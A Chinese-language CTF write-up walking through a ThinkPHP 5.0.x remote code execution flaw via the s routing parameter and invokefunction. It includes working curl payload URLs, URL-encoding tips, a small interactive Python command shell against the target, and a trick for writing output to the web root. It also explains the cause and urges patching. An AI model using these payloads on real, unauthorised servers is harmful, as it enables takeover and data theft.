☰
PHP RCE实战:ThinkPHP路由漏洞从信息收集到flag提交
2026/10/20 3:32:45 网站建设 项目流程

前几天在某个CTF训练平台的Web模块里刷题,看到一道难度标着2的题目叫 php_rce。这个题名基本把考点写在脸上了:PHP、远程代码执行。但真正写Writeup的时候发现,很多人卡住的不是最后的利用,而是前面那一堆看似没用的信息收集,以及Payload在URL里各种编码带来的玄学问题。

这篇文章就记录一下我从开题到提交flag的完整过程,包括指纹判断、利用链拆解、Payload构造和踩坑修复。内容偏实战,适合刚入坑CTF Web方向、想搞懂RCE题型原理的读者。我会尽量把“为什么这么打”也讲清楚,而不是只丢一条能跑的Payload出来。

1. 打开题目后的第一件事不是打命令,是先看环境

1.1 页面内容和HTTP响应里的指纹信息

靶机地址打开后,页面非常朴素,大体上就是一个居中显示的欢迎词“Welcome to php_rce”,没有任何表单、上传点或者明显注释。很多新手到这里会愣住:没有输入框,怎么打?其实Web题目的入口不一定是可见的输入框,路由参数、Cookie、请求头甚至一个隐藏的JS文件都可能是突破口。

我先把页面源码看了一遍,又用浏览器开发者工具看了网络请求。页面本身没有太多信息,但HTTP响应头里有两样东西很扎眼:

Server: nginx/1.14.0 X-Powered-By: PHP/7.2.5

PHP 7.2.5这个版本对于RCE题型来说,已经暗示了运行时环境。真正让我确定方向的,是我给首页随便加了几个参数之后看到的报错页。

1.2s参数暴露出来的路由结构

我试着访问了一下带参数的链接:

http://target.local/index.php?s=index/index

页面没有变化,还是那个欢迎页。我又试:

http://target.local/index.php?s=index/not_exist

结果页面直接变成了一个“控制器不存在”的错误页。这个报错非常关键,它说明:应用接入了URL路由,并且路由参数名是s,路由结构大概是“模块/控制器/操作”这种经典三段式。再往后,正常访问逻辑应该是:

http://target.local/index.php?s=index/Index/index

s=index/Index/index分别对应模块index、控制器Index、操作index。能够通过一个参数直接控制控制器和操作名,这本身就是一种攻击面。如果框架在解析控制器名时没有严格校验,就有机会让它加载一个我们指定的类并调用指定方法。

1.3 为什么题目名叫 php_rce 基本等于开卷

说实话,看到题目叫php_rce,我心里就已经把它归到RCE题型里了。这类题通常不会让你去慢慢逆向,而是希望你通过框架或业务逻辑的缺陷,拿到命令执行能力。真正需要做的,是从“题目名提示”变成“确定利用方式”。

在没看到任何业务功能的情况下,最合理的怀疑对象就是这套路由本身。因为Web业务里,用户能直接影响的也就是URL参数、请求头和请求体。页面只有一个欢迎语,说明漏洞大概率藏在框架层,而不是业务代码层。接下来要做的,就是确认这套框架的版本以及是否存在已知的RCE漏洞。

我把目标锁定在了一套国内常见的PHP开源框架上,这套框架的5.x早期版本出现过一比较有名的远程代码执行问题,网上有很多分析文章。当时我的思路很直接:先按历史漏洞的利用链打一遍,看返回结果有没有变化。

2. 把利用链拆开:invokefunction为什么能变成命令执行

2.1 出问题的地方不在业务代码,在框架路由

很多人误以为RCE漏洞一定是业务代码写了eval或者system,但这一类框架级漏洞往往不是业务代码的问题,而是路由分发过程中的“信任”出了问题。

这套PHP框架支持通过s参数解析路由。正常情况下,s=index/Index/index会被映射到对应的控制器和方法。问题在于,早期5.x版本在解析控制器名时,没有把反斜杠\过滤干净,导致我们可以传入带命名空间的类名。于是路由中的“模块/控制器/操作”可以被改写成:

index/\think\app/invokefunction

拆开看就是:

  • 模块部分:index
  • 控制器部分:\think\app
  • 操作部分:invokefunction

控制器位置不再是一个普通的控制器类,而是框架核心类\think\app。正常设计里,路由不应该允许控制器名出现反斜杠,因为反斜杠在PHP中代表命名空间分隔符。一旦允许,攻击者就可以指定任意类,而操作部分就变成了要调用的方法名。

2.2 URL中的四段信息是怎么被吃进去的

光能指定\think\app还不够,还需要找到一个合适的方法来制造命令执行。框架里恰好有这样一个方法,名字叫invokefunction,它的作用很直白:接收一个回调函数名和参数数组,然后调用它。

我习惯把它的核心逻辑理解成下面这段简化代码,虽然真实源码里的细节更多,但原理差不多:

public static function invokefunction($function, $vars = []) { // 任意回调,参数透传 return call_user_func_array($function, $vars); }

也就是说,如果能调用这个方法,并且给它传入function和vars两个参数,那function可以是任意PHP函数,vars是传给这个函数的参数列表。

所以我们的URL就从“调用一个方法”变成了“调用任意函数、传入任意参数”:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

这里又套了一层call_user_func_array。为什么不是直接写function=system&vars[0]=id?因为invokefunction本身接收的是一个回调函数名和一个参数数组,而system不是一个需要“参数数组”的函数,直接传vars会变成二维数组,PHP不一定能按我们的预期执行。用call_user_func_array包一层以后,逻辑就变成了:

call_user_func_array('system', ['id']); // 等价于执行 system('id')

最后实际执行的命令就是:

id

整个过程可以理解成一个“嵌套调用”:

  1. 路由加载\think\app类并调用invokefunction方法;
  2. invokefunction调用call_user_func_array;
  3. call_user_func_array调用system;
  4. system执行命令并输出结果。

每一步都是在框架原本的“合法能力”内完成的,这也就是为什么这类漏洞很难靠简单的黑名单参数过滤来修复。

2.3 命令执行函数选型对照

到真正构造Payload的时候,选哪个PHP函数也是有讲究的。如果输出没有被拦截,system一般是最省事的,因为它直接输出结果。但我还是把所有候选函数拉出来对比了一下:

函数返回值输出方式适合场景
system()最后一行直接输出最直观,适合CTF题
exec()最后一行不直接输出,需配合echo需要捕获返回值时
shell_exec()完整输出不直接输出,需配合echo需要全部输出时
passthru()无直接输出原始结果执行二进制程序时
popen()管道资源需手动读取需要半交互时

在这道题里,用system就足够了。如果页面把命令输出隐藏了,可能需要换成shell_exec再配合回显,或者用exec把结果写进文件再访问。这些都属于“输出通道”的调整,不影响漏洞本身。

3. 完整复现:从验证命令到提交flag

3.1 先用id做最小化验证

我拿到这类RCE题,第一发子弹永远不是直接cat /flag,而是先跑一个无副作用、一定能看到结果的命令。id是我最常用的,因为它不仅执行成功率高,而且能直观显示当前运行Web服务的系统用户。

浏览器里直接拼URL比较麻烦,因为反斜杠和后面的参数容易出问题。我习惯用curl在终端里做第一轮验证:

curl 'http://target.local/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

如果直接这样发请求,服务端可能不识别反斜杠。遇到这种情况,可以把\做一次URL编码,变成%5C:

curl 'http://target.local/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

两种写法我都试过,有的靶场环境两种都能通,有的必须用编码后的写法。看到响应里出现下面这类内容,就说明命令已经执行成功了:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

这里出现www-data是预料之中的,因为这道题的Web服务运行在默认的PHP-FPM/nginx环境下,权限比较受限。如果将来碰到命令执行了但输出内容前后有大量页面模板内容,那也不用慌,只需要在响应里搜索关键词,比如uid=。

3.2 列目录确认flag位置

确认命令执行后,下一步是定位flag文件。CTF题的flag常见位置就那么几个:根目录下的/flag、/tmp/flag、/var/www/html下的某个隐藏文件,也有可能直接用flag.php之类命名的文件。

我先用ls看一下当前目录,再用完整路径列一下根目录:

ls -la

不过ls -la这种带空格和参数的完整命令,在浏览器地址栏里手输很容易漏编码。我更喜欢用Python脚本把参数交给requests处理,这样空格、引号、方括号一类的特殊字符都交给库去编码,不容易出错。

import requests url = "http://target.local/index.php" params = { "s": "/index/\\think\\app/invokefunction", "function": "call_user_func_array", "vars[0]": "system", "vars[1][]": "ls -la /" } resp = requests.get(url, params=params, timeout=10) print(resp.text)

Python字符串里的\\think\\app最终会变成\think\app,requests再对它做URL编码。这段脚本看起来不起眼,但之后要执行任何带参数的命令,只需要改vars[1][]的值。

列完根目录后,常见的flag文件位置已经清楚了。我确认根目录下有一个名为flag的文件,内容没有任何后缀,应该就是我们需要提交的目标。

3.3 读取文件与提交结果

拿到路径之后,直接执行:

cat /flag

如果继续用Python脚本,就修改一下参数:

params["vars[1][]"] = "cat /flag" resp = requests.get(url, params=params, timeout=10) print(resp.text)

响应里会出现一段flag字符串,包含题目要求的格式。把这段内容复制到答题框里提交,这道题就算完成了。

这里有一个小细节:如果flag是放在flag.php或者flag.txt里的,cat一样能读出来,不需要考虑PHP执行问题。因为我们是操作系统层面的命令执行,读的是文件内容,不是通过HTTP去访问脚本解析结果。

3.4 写一个可复用的Python请求脚本

为了保证后面继续测试命令时更高效,我随手整理了一个最小化脚本。这个脚本不是必须的,但对整体效率提升很大:

import requests import sys url = "http://target.local/index.php" def exec_cmd(cmd: str) -> str: params = { "s": "/index/\\think\\app/invokefunction", "function": "call_user_func_array", "vars[0]": "system", "vars[1][]": cmd, } resp = requests.get(url, params=params, timeout=10) return resp.text if __name__ == "__main__": while True: cmd = input(">>> ") if cmd.strip() == "exit": break print(exec_cmd(cmd))

这样遇到需要跑pwd、find、cat的时候,就不用在浏览器和终端之间来回复制了。写脚本的过程本身也是在帮自己梳理漏洞参数结构:每一次请求都相当于在调用call_user_func_array('system', [cmd])。

4. 实战中容易踩的坑:URL编码、参数顺序与版本差异

4.1 反斜杠和空格在URL里的表现

这一类RCE利用链中,最容易翻车的不是漏洞本身,而是URL编码。

首先是反斜杠。路由里的\think\app如果直接以原始反斜杠放进URL,有些HTTP客户端和中间件会直接拒绝请求,因为反斜杠在某些解析器里会被当成路径分隔符。稳妥的写法是把每个\替换成%5C:

/index/%5Cthink%5Capp/invokefunction

其次是空格。命令里一旦有了空格,比如ls -la,在URL里要么写成%20,要么用+号。如果直接写原始空格,很多库会自动把它编码,但浏览器地址栏里的行为不太一致。最容易避免问题的方式就是把参数交给requests这样的库自动编码,而不是手动拼URL。

我把常见的字符编码情况整理成一个表:

原始字符常见编码说明
\%5C反斜杠,路由利用链里必须关注
空格%20或+命令参数分隔符
"%22命令里用到引号时最好编码
&%26Web参数分隔符,不要裸放在命令里
``%7C

4.2 命令里带特殊符号时的处理

有时候一条命令不够,想在一条Payload里拼接多条命令,比如先pwd再ls。新手往往直接写:

pwd && ls

但&&里的&在URL参数中是保留字符,如果不做编码,后面的ls可能会被当成新的参数名,导致命令执行的结果跟预想完全不同。

我的建议是:能用分号就用分号:

pwd; ls -la

分号在URL里的歧义比&小得多。如果实在要用&&,必须写成%26%26。但这种写法可读性太差,调试起来也麻烦。所以我在自己脚本里执行多条命令时,通常直接用分号连接到vars[1][]的值里。

另外,命令里如果有引号,比如要查找文件名中带空格的文件,记得别把引号写在URL里让人工解析,直接交给requests编码最安全。

4.3 换一个框架版本就失效的定位思路

同一个Payload不是到处都能通。这道题里能走通\think\app/invokefunction,是因为目标用的是5.0.x早期版本。如果题目环境换成了5.1.x,或者已经打了补丁,这个利用链很可能就失效了。

失效时不要急着怀疑自己的操作,先看响应内容:

  • 如果报“控制器不存在”,说明路由根本没解析到\think\app,可能是版本差异或者类名校验已经补上;
  • 如果报“方法不存在”,说明类被加载了,但invokefunction方法不可用,这时候要考虑同版本下的其他入口;
  • 如果直接返回500,可能是参数格式不正确,检查vars数组的层级。

遇到版本升级后的同类题,可以往“filter注入”或者“request/input”方向去测。这类框架的RCE系列漏洞不止一条利用链,关键是理解它最终想达到的效果:通过用户可控参数,调用某个动态执行函数。明白这一点之后,换Payload只是换一条入口而已。

4.4 命令执行了但没有输出的排查方法

另一种情况是:命令确实执行了,比如页面响应时间明显变长,或者有部分内容被截断,但就是看不到结果。这时候先检查是不是输出没有回显。

一个最直接的排查方法是把命令输出重定向到Web目录下的临时文件,再通过HTTP访问这个文件。比如:

ls -la / > /var/www/html/output.txt

然后用浏览器访问:

http://target.local/output.txt

如果命令权限允许写目录,这个办法几乎100%能解决“无回显”的问题。不过CTF题里这种情况不多,因为system函数默认就是直接输出,只有盲打RCE时才会专门考虑回显通道。

5. 复盘:拿到flag之后最该想的两件事

5.1 框架侧为什么容易出现这类RCE

复现完这道题以后,我最大的感受是:这类漏洞不是一个简单的命令注入,而是“动态调用链”被打开了。

正常开发框架里,路由解析、参数绑定、方法调用都应该是受控的。问题在于,控制器名接受了一个带命名空间的参数,最终又走到了invokefunction这种面向开发者的“万能调用”方法上。从设计角度来说,路由解析层和内部调用层中间缺少一道权限边界。“内部能力”一旦被“外部输入”直接触达,RCE就只是时间问题。

所以防御层面最核心的是升级到已修复版本。如果某些老系统因为业务原因无法升级,至少要保证外部输入不能直接控制控制器名里的命名空间,并且对invokefunction这类高风险方法做额外校验。

5.2 靶场经验对真实系统排查的迁移

刷题得到的经验能不能用到真实工作中?我觉得可以,但是要强调前提:只对授权范围内的系统做测试。

真实系统里如果看到类似的PHP框架路由结构,第一反应应该是确认框架版本,而不是直接甩Payload。很多老系统虽然框架有漏洞,但因为前面有反代、CDN、WAF等,裸的Payload可能打不通。排查RCE风险时,我不会一上来就打命令,而是先看版本、补丁状态、路由是否可被外部访问、是否存在debug开关。把攻击面摸清楚,比多打几个Payload更有价值。

5.3 一点个人刷题建议

这道题整体难度不算高,但它很适合作为RCE方向的入门题。我自己的体会是:刷题的时候不要背Payload,而是把每一步映射到PHP函数调用上。看到vars[0]=system&vars[1][]=id,脑子里应该浮现的是call_user_func_array('system', ['id'])这一层转换。一旦形成这种思维,以后遇到新的RCE题,就不会被花哨的编码和路径变化绕晕。

另外,动手写一个自己的请求脚本非常有必要。它不只是为了省时间,更是逼你把漏洞链路重新梳理一遍。等你能不看任何Writeup,光凭对框架路由的理解就能拼出这条利用链的时候,这道题才算真正吃透了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询